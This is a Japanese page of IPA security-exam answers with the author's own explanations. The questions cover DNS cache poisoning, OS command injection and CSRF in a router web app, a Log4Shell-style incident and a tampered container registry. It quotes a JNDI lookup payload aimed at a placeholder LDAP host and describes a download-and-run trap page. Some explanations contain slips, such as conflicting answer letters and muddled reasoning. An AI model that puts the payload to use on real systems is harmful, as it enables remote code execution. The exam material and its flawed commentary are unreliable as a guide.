※解答はIPAのサイトを引用しておりますが、解説は独自ですので参考程度にご覧ください
(1) [a]に入る攻撃手法の名称を答えよ
答: [a] DNSキャッシュポイズニング
DNSキャッシュポイズニングは、キャッシュDNSサーバから権威DNSサーバへ名前解決要求があった場合に、攻撃者が割り込み偽の名前解決情報をキャッシュDNSサーバへ送信することで、キャッシュに偽の情報を登録させるという攻撃手法です。
利用者が攻撃を受けたDNSサーバを利用した場合、偽のキャッシュ情報をもとに悪意のあるサイトに誘導され、機密情報を盗まれるなどの被害が発生する可能性があります。
(2) [b]に字句を記号で答えよ
答: エ.UDP
DNSにおける名前解決通信はポート番号53のUDPプロトコルを使います。
UDPはTCPのように送達確認を行わないため通信量が少なく素早くデータを届けることができるメリットがあります。
(3) 下線①について攻撃者が送信したDNS応答が攻撃として成功するために満たすべき条件の1つを答えよ
答: 権威DNSサーバからの応答よりも早く到達する
DNSキャッシュポイズニングは、キャッシュDNSサーバからの名前解決要求があった場合、正規の権威DNSサーバの応答に割り込んで攻撃者が偽の名前解決情報をキャッシュDNSサーバに送信する攻撃になります。
そのため攻撃として成功するためには正規の権威DNSサーバからの応答よりも早く到達する必要があります。
よって解答は「権威DNSサーバからの応答よりも早く到達する」になります。
また、DNSキャッシュサーバにおける問合せ用のポート番号を固定にしていると、攻撃者が偽の応答をする際に狙われやすくなるため、ポート番号をランダムにすることで大幅にリスクを下げることができます。
ほかにもキャッシュサーバとコンテンツサーバを物理装置的に分離して運用することで、応答を受けるDNSは外部のDNSとして利用して、名前解決用のDNSは内部DNSサーバとして別で分離しておくことで攻撃が成功しなくなります。
ファイアウォールなどのパケットフィルタリング機能を用いて、内部ネットワークから再帰的な問合せのみを許可する等も解答として考えられます。
(4) 下線②についてどのような実装か
答: サーバ証明書を検証し、通信相手がWサーバであることを確認する実装
HTTPSを適切に実装しているとあり、HTTPS通信の特徴は証明書によるサーバ認証方式となり、改ざんの検知、暗号化、利用者認証になります。
製品RはWサーバにアクセス要求を行うとWサーバはサーバ証明書をクライアントに送付しクライアント側でサーバ証明書が公開鍵で復号することにより偽のサーバではなく正当なWサーバであることの検証が可能となります。
(5) [c]に入る字句を答えよ
答: コードサイニング
ソフトウエアのデジタル署名の検証に利用する証明書をコードサイニング証明書と呼びます。
[d]に入れる適切な字句を答えよ
答: [d] シェルが実行するコマンドをパラメータで不正に指定できて
図2の画面ではIPアドレス、サブネットマスク、デフォルトゲートウェイが入力可能になっており
確認ボタンを押したときにsetvalueに対してPOSTメソッドで図3のように入力値をパラメータとした
コマンド文字列をシェルに渡します。
このようにすると最終的に図4のようなifconfigコマンドで入力されたIPアドレス、サブネットマスク、デフォルトゲートウェイを
パラメータとして実行します。
そのためもし図2の画面で不正な文字列を入力した場合、「シェルが実行するコマンドをパラメータで不正に指定できて」しまうことになります。
パラメータの値を不正に指定にして、任意の処理が実行できてしまわないようにWebアプリ内でシェルを起動しない対策などが必要になります。
(1) 本文中の下線③について罠サイトではどのような仕組みを使って利用者に脆弱性Bを送信させることができるか具体的に述べよ
答: 攻撃リクエストをPOSTメソッドで送信させるスクリプトを含むページを表示させる仕組み
図1よりIPアドレス設定機能は”製品Rに新しいIPアドレスを設定する。POSTメソッドによる入力だけを受け付ける”機能になります。
[脆弱性B]は5ページ中段にあるように”利用者が攻撃者によって設置された罠サイトにアクセスし利用者が意図せずに悪意のあるリクエストをWebアプリRに送信させられた場合にWebアプリRがそのリクエストを受け付けて処理してしまう脆弱性”になります。
つまり攻撃者はWebアプリRにPOSTメソッドで攻撃者のファイルをダウンロードさせる処理(スクリプト)を含んだ罠サイトのページ(※図6の攻撃リクエスト)を用意することで製品Rは攻撃者のファイルをダウンロードして実行してしまいます。
よって解答は「攻撃リクエストをPOSTメソッドで送信させるスクリプトを含むページを表示させる仕組み」になります。
※curlコマンドはサーバーとデータを送受信するコマンドになります。
(2) [e]に入れるトークンがもつべき特徴を答えよ
答: [e] 推測が困難である
リクエストパラメータに付与するトークンは予測されないようにする必要があります。そのためトークンは「推測困難である」必要があります。
答: [脆弱性A] ア.OSコマンドインジェクション
[脆弱性B] オ.クロスサイトリクエストフォージェリ
ア.OSコマンドインジェクション…
悪意のあるリクエストにより、サーバ上でOSコマンドを実行される脆弱性。
対策は、Webアプリ内でシェルを起動しないこと。
イ.クロスサイトスクリプティング(XSS)…
攻撃者の流し込んだスクリプトに利用者が意図せずアクセスすることで被害を及ぼす脆弱性。
対策は、特殊文字をサニタイジング(無効化)すること。
記号文字(「<」「>」「&」「”」「’」等)を、HTMLエンティティに置換すること。URL出力は「http://」や「https://」形式のみ許可すること。
ウ.SQLインジェクション…
アプリで想定外のSQL文を実行させることにより、データベースを不正に操作し意図しない挙動を起させる脆弱性。
対策は、クエリに不正なコードを仕込まれないようにSQL文として特別な意味のもつ文字列をエスケープ処理を行うこと。
エ.コードインジェクション…
アプリに対して不正なコードを読み込ませて命令を実行し、プログラムを不正に動作させたり改変される脆弱性。
対策は、不正なコードを読み込ませないように動的コードをアプリ内で実行しない実装をすること。
オ.クロスサイトリクエストフォージェリ(CSRF)…
攻撃者の流し込んだリンクやスクリプトに利用者をアクセスさせることで意図せず別のWebサイト上で不正な操作をさせる脆弱性。
対策は、前ページのセッションIDの整合性チェックすること。
セッションIDとログイン時に生成するセッションIDが正しいかチェックすること。
IDはhiddenパラメータに含めるためPOSTリクエストで実装すること。(GETだとRefererでhiddenが知られてしまうため)
カ.サーバサイドリクエストフォージェリ(SSRF)…
Webアプリケーションに対し特殊なURLを含むHTTPリクエストを送信し、サーバに意図しない動作をさせる脆弱性。
対策は、ホワイトリストを利用し想定したURLのみ許可すること。
WAF(Webアプリケーションファイアウォール)を導入し不正な通信を監視して遮断すること。
解答ですが、[脆弱性A]はifconfigコマンドを利用しており、これはOSコマンドの1つですので「ア.OSコマンドインジェクション」になります。
[脆弱性B]は利用者を罠サイトにアクセスさせることで意図せず不正な操作をさせるとあり、これはOSコマンドの1つですので「オ.クロスサイトリクエストフォージェリ」になります。
(1) 本文中の[a]に入れる適切なIPアドレス字句を答えよ
答: [a] a3.b3.c3.d3
9ページの[セキュリティインシデントの報告と調査]で”runという名称の見慣れないプロセスも稼働”とあり、同じく3ページの表3のプロセス一覧を見るとrunプロセスはプロセスIDが200ということがわかります。
続いて4ページの表4より、プロセスIDが200の予約サーバからコネクションを確立している宛先IPアドレスを見ると「a3.b3.c3.d3」になっています。
よってrunプロセスは「a3.b3.c3.d3」のホストに対して通信をおこなっていたことがわかります。
(2) 下線①についてTソフトを調べれば分かると判断した理由を答えよ
答: runプロセスの親プロセスがTソフトのプロセスであるから
3ページの表3のプロセス一覧を見るとrunプロセスは親プロセスIDが100になっていることがわかります。
親プロセスIDはrunを呼び出しているおおもとのプロセスのIDになります。プロセスIDが100のプロセスはJava BSoftMainで、これは3ページの中段にあるとおりTソフトのプロセスになります。
よって解答は「runプロセスの親プロセスがTソフトのプロセスであるから」になります。
(3) 表7中の[b]、[c]に入れる時刻、[d]~[f]に入れる字句を答えよ
答: [b] 13:04:32 [c] 13:05:50 [d] a8.b8.c8.d8
[e] LDAP [f] JExp
[b]は攻撃者が予約サーバに対して通信を行った時刻が入ります。10ページの図2の1.の説明より攻撃者は脆弱性Yを悪用した攻撃で、11ページの表5の内容の攻撃文字列含むHTTPリクエストを送ることで攻撃が開始されますので、表5のHTTPリクエストを送信した時刻「13:04:32」が解答になります。
[c]には攻撃者が予約サーバがクエリを送信した時刻、[d]には宛先のIPアドレス、[e]には使用したサービス、[f]には送信したクエリ内容が入ります。
まず10ページの図2の1.の説明より”${Jndi:ldap://a4.b4.c4.d4/Exploit}を含むHTTPリクエストを送る”、”ライブラリXはIPアドレスがa4.b4.c4.d4のサーバに対しLDAPでExploitというクエリを送る”とあります。
これを参考に実際の攻撃の内容である表5のユーザーエージェント ${Jndi:ldap://a8.b8.c8.d8/Exploit} に照らし合わせると解答が導き出せます。
宛先のIPアドレスである[d]は「a8.b8.c8.d8」、サービスである[e]には「LDAP」、クエリ文字列である[f]には「JExp」が入ります。また、[c]は表6の「LDAP」サービスで「a8.b8.c8.d8」宛に通信した時刻が入るため[c]は「13:05:50」になります。
(1) 下線②についてその理由を具体的に答えよ
答: ログ出力処理する文字列中に攻撃文字列が含まれれば悪用可能だから
予約サーバ、会員サーバのログ出力は、ライブラリXのJavaのログ出力ライブラリ機能を利用しています。
このログ出力の対象は予約サーバ、会員サーバの全てのアクセスログになりますので、ログイン(会員認証)の有無にかかわらずログは出力されます。
そのため、ログ出力処理する文字列中に攻撃文字列が含まれれば悪用可能になってしまいます。
(2) 下線③について攻撃が失敗した理由を答えよ
答: 会員サーバからインターネット宛てのLDAP通信が許可されていないから
会員サーバが、予約サーバとは異なり、脆弱性Yを利用した攻撃が失敗した理由はFWで対象の通信を遮断できたからになります。
表2のFWフィルタリングルールを見ますと項番2では予約サーバからインターネット宛ての通信はサービス”全て”、動作は”許可”となっていることに対して、会員サーバからインターネット宛ての通信はどの1~5番のルールには該当せず項番12に該当します。
項番12が示す意味は項番1~項番11までのルールに該当しない全ての通信を拒否するルールになります。
よって解答は「会員サーバからインターネット宛てのLDAP通信が許可されていないから」になります。
答: [g] 予約サーバ [h] SNS投稿用のサーバのURL [i] 全て
8ページの表1のプロキシサーバの機能概要にURLフィルタリングルールについて記載があり、
”許可リストに”全て”を指定すると全てのURLへの通信を許可する”、”拒否リストに”全て”を指定する許可リストに指定したURL以外のURLへの通信が拒否される”とあります。
また、表1の予約サーバの説明で予約サーバが通信する必要があるサーバはSNS投稿用のサーバだけということがわかります。
脆弱性Yを利用した攻撃により、予約サーバでrunプロセスが実行され攻撃者のサーバに通信を行ってしまうことを防ぐには、
予約サーバから投稿サーバ宛てのHTTPS通信以外の宛先は全て拒否する設定にすれば良いことになります。
よって、[g]に入るアクセス元IPアドレスは「予約サーバ」、[h]に入る許可リストは「SNS投稿用のサーバのURL」、[i]に入る拒否リストは「全て」になります。
(1) 本文中及び図3中の[a]に入れる適切な番号を答えよ
答: [a] 376
[a]には376が入ります。図2の2.説明で開発部から伝達を受けたタグのゲームイメージをレジストリサーバから取得し当該イメージを基にコンテナを起動するとあります。また、これらの更新作業を3月6日10時に実行して、同日13時40分にゲームサーバ1が応答していないことに気づき、ゲームサーバ1上のコンテナを確認したとあります。
16ページの表2の2つのコンテナの状態を見るとタグ351は3月6日10時05分に終了しており、タグ376は3月6日10時14分に起動したままの状態が13時40分現在においても続いていることが分かります。
このことから当該イメージを基にコンテナを起動しようとし、3時間以上経過しても応答がないタグ「376」が誤って取得したタグと判断できます。
(2) 下線①についてどのような命令か答えよ
答: progというファイルをダウンロードし、実行する命令
16ページの図3の内容にてコードZは”攻撃者が用意した外部サーバに接続して指示された任意の命令を実行する”ことができます。そのため攻撃者がprogというファイルを外部サーバに用意し、ダウンロードして実行する命令することで、本来ゲームイメージに含まれていないprogプロセスを実行中にすることができます。
(3) [b]に入れる適切な字句を述べよ
答: [b] 一時ディレクトリ内のログ
15ページの表1、ゲームサーバ1~4の説明で”ゲームアプリはログを一時ディレクトリに出力する。一時ディレクトリはコンテナ起動時に作成され、コンテナ終了時に消去される”とあるように、コンテナを終了したときに「一時ディレクトリ内のログ」が消失します。
消失してしまうと痕跡をたどる調査が困難になりますので、解答は「一時ディレクトリ内のログ」になります。
(4) 下線②が示す攻撃の名称を答えよ
答: ゼロデイ攻撃
ゼロデイ攻撃とは、下線②に記載のとおり脆弱性が発見されてから、対策情報が公開される前にその脆弱性を悪用した攻撃のことです。
よって解答は「ゼロデイ攻撃」になります。
(1) 下線③について、レスポンスに含まれる内容のうち攻撃者がレジストリサーバと判断するのに用いたと考えられる情報を答えよ
答: レジストリサーバに固有のレスポンスヘッダ
項番4ではHTTPリクエストのGETメソッドで、index.htmlページをレジストリサーバに要求しています。
要求を受けたレジストリサーバは、要求されたページが存在しないことを示すステータスコードが404Not FoundをHTTPレスポンスで返しています。
HTTPレスポンスでは、要求に対し成功や失敗したかのステータスだけでなくサーバやOSの情報が出力されます。
これら情報を見て攻撃者はレジストリサーバと判断したと考えられます。
よって解答は「レジストリサーバに固有のレスポンスヘッダ」になります。
(2) 下線④について、行うべき対処を答えよ
答: 上書きされたイメージを削除する。
18ページ上段に攻撃の命令によって”レジストリサーバ上のタグ341から379までのゲームイメージが上書きされた可能性があります”と記載されています。
これらの上書きされたイメージを削除することがレジストリサーバへ行う適切な対処となります。
(1) 本文中の[c]に入れる適切なIPアドレスを答えよ
答: [c] a3.b3.c3.d3
[c]には「a3.b3.c3.d3」が入ります。ゲームサーバ1が攻撃者の指示を受け取っていたIPアドレスについて考えます。
17ページで”業務用FWのログを確認したところ、ゲームサーバ1はインターネット上のIPアドレス「a3.b3.c3.d3」及びレジストリサーバに対してだけ接続していた”とあります。ゲームサーバはゲームイメージを取得するためにレジストリサーバに接続しますが、「a3.b3.c3.d3」については文中に説明がなく攻撃者が用意したサーバIPアドレスと考えられます。
(2) 本文中の[d]に入れる適切な字句を記号で答えよ
答: [d] エ.ボットネット
ア.ゼロトラストネットワーク…
ゼロトラスト(=信頼しない)という考えに基づき、内部からのアクセス、外部からの限らず安全ではないと考え、FWによる通信制御やプロキシサーバ、IDSやIPSなどのネットワーク監視機器を設置し、セキュリティを高めるネットワーク構築の方法です。
イ.ダークウェブ…
ダークネット(インターネット上の未使用のIPアドレス領域)に存在する、Web検索など通常の方法ではアクセスできないインターネット上のWebコンテンツのことです。
ウ.ハニーポット…悪意のある攻撃を受けやすいように設定した機器をおとりとしてネットワーク上に公開すること。これによりサイバー攻撃に利用できるようなアクセス者の情報を引き出してサーバー攻撃に利用します。
エ.ボットネット…
コンピュータウイルスの一種。特定の端末に感染させることで、その端末は攻撃者の用意したC&C(Command and control)サーバと通信を行います。C&Cサーバから指示を受け取った端末は攻撃者の命令を端末上で実行されてしまい遠隔操作されてしまいます。
解答ですが、18ページでゲームサーバ1はインターネット上のIPアドレス(a3.b3.c3.d3)から攻撃の指示を受け取っていたとあり「ボットネット」に感染していたと考えられます。
解答は「オ.ボットネット」になります。
(3) 下線⑤について有効ではないのはどのような場合か
答: 別のIPアドレスを攻撃者が用いる場合
下線⑤の1つ前の文章で、”攻撃者のIPアドレス(a3.b3.c3.d3)への接続を業務用FWで拒否する”とあり、これは有効ではありません。
確かに攻撃者のIPアドレス(a3.b3.c3.d3)への接続は遮断できますが、ピンポイントでのIPアドレス指定となるため、もし攻撃者がサーバのIPアドレスをe3.f3.g3.h3と変更すると対策が意味をなさなくなります。
よって解答は「別のIPアドレスを攻撃者が用いる場合」になります。これは指定したIPアドレスへの接続を遮断するブラックリスト方式と呼ばれる方法になります。
今回のような場合には、接続に必要なサーバのIPアドレスだけを許可するホワイトリスト方式を採用すると、IPアドレスを変更された場合でも遮断が可能になり対策として有効な方法になります。
(4) [e]に入れる適切な機器名を記号で答えよ
答: [e] オ.ソースコードサーバ
14ページの表1より、ゲームイメージを登録しているのはレジストリサーバになります。
このレジストリサーバに対して、ソースコードが格納されるたびに、ゲームイメージを生成し登録するのは「ソースコードサーバ」になります。
よって、レジストリサーバへの接続は、「ソースコードサーバのIPアドレス」からだけすれば不正アクセスを遮断でき、REST APIを使用したゲームイメージの新規登録及び上書き登録の呼び出しも問題なく行うことが可能です。